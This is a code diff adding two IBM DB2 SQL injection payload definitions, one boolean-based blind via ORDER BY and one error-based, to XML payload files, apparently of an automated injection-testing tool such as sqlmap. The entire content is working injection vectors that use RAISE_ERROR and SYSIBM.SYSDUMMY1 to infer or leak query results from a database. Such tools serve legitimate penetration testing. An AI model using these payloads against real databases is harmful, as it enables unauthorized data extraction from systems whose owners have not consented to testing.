diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
index 576ea2a46..2da367781 100644
--- a/data/xml/payloads/boolean_blind.xml
+++ b/data/xml/payloads/boolean_blind.xml
@@ -1532,4 +1532,24 @@ Tag: <test>
         </details>
     </test>
     <!-- End of boolean-based blind tests - Stacked queries -->
+    
+    <test>
+        <title>IBM DB2 boolean-based blind - ORDER BY (append)</title>
+        <stype>1</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>2,3</clause>
+        <where>1</where>
+        <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1)</vector>
+        <request>
+            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1)</payload>
+        </request>
+        <response>
+            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1)</comparison>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+      </test>
+    
 </root>
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index d61b107cb..53dddfe31 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -1321,4 +1321,22 @@
         </details>
     </test>
     <!-- End of error-based tests - stacking -->
+    <test>
+        <title>IBM DB2 - Error Based </title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1,2,3</where>
+        <vector>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN RAISE_ERROR('70001',CONCAT('[DELIMITER_START]',CONCAT(([QUERY]),'[DELIMITER_STOP]'))) ELSE 1 END FROM SYSIBM.SYSDUMMY1)</vector>
+        <request>
+            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN RAISE_ERROR('70001',CONCAT('[DELIMITER_START]',CONCAT((SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE 2 END FROM SYSIBM.SYSDUMMY1),'[DELIMITER_STOP]'))) ELSE 1 END FROM SYSIBM.SYSDUMMY1)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
 </root>